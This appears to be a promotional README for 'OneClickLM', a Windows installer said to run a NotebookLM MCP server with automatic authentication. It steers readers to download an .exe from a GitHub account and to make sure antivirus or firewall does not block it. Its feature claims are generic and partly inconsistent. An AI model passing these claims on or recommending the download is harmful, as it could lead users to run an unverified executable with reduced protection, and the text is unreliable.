OneClickLM is a tool that runs the NotebookLM MCP server without fuss. It handles authentication automatically, needs no setup, and works with just one command. This lets you run your NotebookLM service quickly on Windows.
The MCP server works with Google's NotebookLM model and offers smooth automation. OneClickLM supports model context protocol features, making it easier for you to interact with AI models like Claude and others.
To run OneClickLM smoothly, your Windows computer needs:
- Windows 10 or later (64-bit)
- At least 4 GB of RAM
- 500 MB of free disk space
- An internet connection for downloading and initial setup
No additional software is required in most cases. OneClickLM manages all necessary data behind the scenes.
Click the green button below to visit the official OneClickLM GitHub page. From there, you can download the latest version of the program right onto your PC.
Once you are on the GitHub page, look for the section called "Releases" or "Downloads." This is where the software files are kept. You should see a file with a name ending in .exe. This is the installer.
- Double-click the
.exefile you downloaded. - Follow any prompts that appear. Usually, clicking "Next" through the installer is enough.
- The installer will place OneClickLM on your computer.
After installation completes, find the OneClickLM program in your Start menu or on your desktop.
Double-click it to open. The program will start the NotebookLM MCP server automatically.
You will see a window or console indicating the server is running.
OneClickLM handles all the technical setup for you. It automatically:
- Connects to the right authentication services without asking for details.
- Starts and manages the server process.
- Restarts the server if it crashes or loses connection.
This means you do not need to set up or configure anything manually.
Once the server runs, you can connect to it from other programs or scripts. Usually, this involves entering the server address localhost with a specific port.
If you use Google NotebookLM or tools like VSCode with AI plugins, point them to your running OneClickLM server for model access.
If OneClickLM does not start or shows errors:
- Check your internet connection.
- Make sure no firewall or antivirus is blocking it.
- Restart your PC and try again.
- Re-run the installer to fix corrupted files.
If issues persist, check the GitHub page for updates or open an issue on the project's issue tracker.
OneClickLM updates are released occasionally on GitHub. To update:
- Visit the GitHub page again using the download links above.
- Download the latest
.exeinstaller. - Run it to overwrite your current installation safely.
OneClickLM supports integration with AI models such as Claude, and other tools relying on the MCP protocol. This protocol helps programs share model data efficiently.
It is written in TypeScript and uses tools like NPX and VSCode for development, but end users do not need to manage these components.
- GitHub main page: https://github.com/Russiateleworking29/OneClickLM
- Download latest installer: Visit the link above and select the latest
.exefile under Releases
This app is made for anyone wanting a simple way to run a NotebookLM server on Windows. You do not need programming skills or to know how servers work. OneClickLM does all the heavy lifting for you.
It's useful if you want to experiment with AI tools, automation, or run local instances of Google NotebookLM technology for personal projects.
- Click the button below to go to the download page.
- Find the file with the
.exeextension. - Download it to your computer.
- Double-click the file and follow installation prompts.
- Open the app to start your NotebookLM MCP server.
After installation, you can run OneClickLM anytime by finding its icon in your Start menu or desktop. The program should launch the server right away and keep it running until you close it.
If you want, create a shortcut to launch it faster. No extra setup is required.
OneClickLM uses the Model Context Protocol (MCP) to communicate with AI models. It supports auto-healing authentication, meaning it refreshes login info automatically.
It works well with Google NotebookLM and AI tools for automation or coding called Claude and others.
Q: Can I install OneClickLM on older Windows?
A: It works best on Windows 10 or newer. Older systems may not run it correctly.
Q: Do I need to learn programming?
A: No. OneClickLM works with one command and automatic setup.
Q: Does it cost anything?
A: No. OneClickLM is free to download and use.
Q: What if the server stops?
A: OneClickLM restarts it automatically. If issues continue, see troubleshooting above.
If you face problems beyond basic troubleshooting:
- Check issues on the GitHub page.
- Submit a new issue describing what happened.
- Include any error messages you see.
Developers will assist based on feedback from users.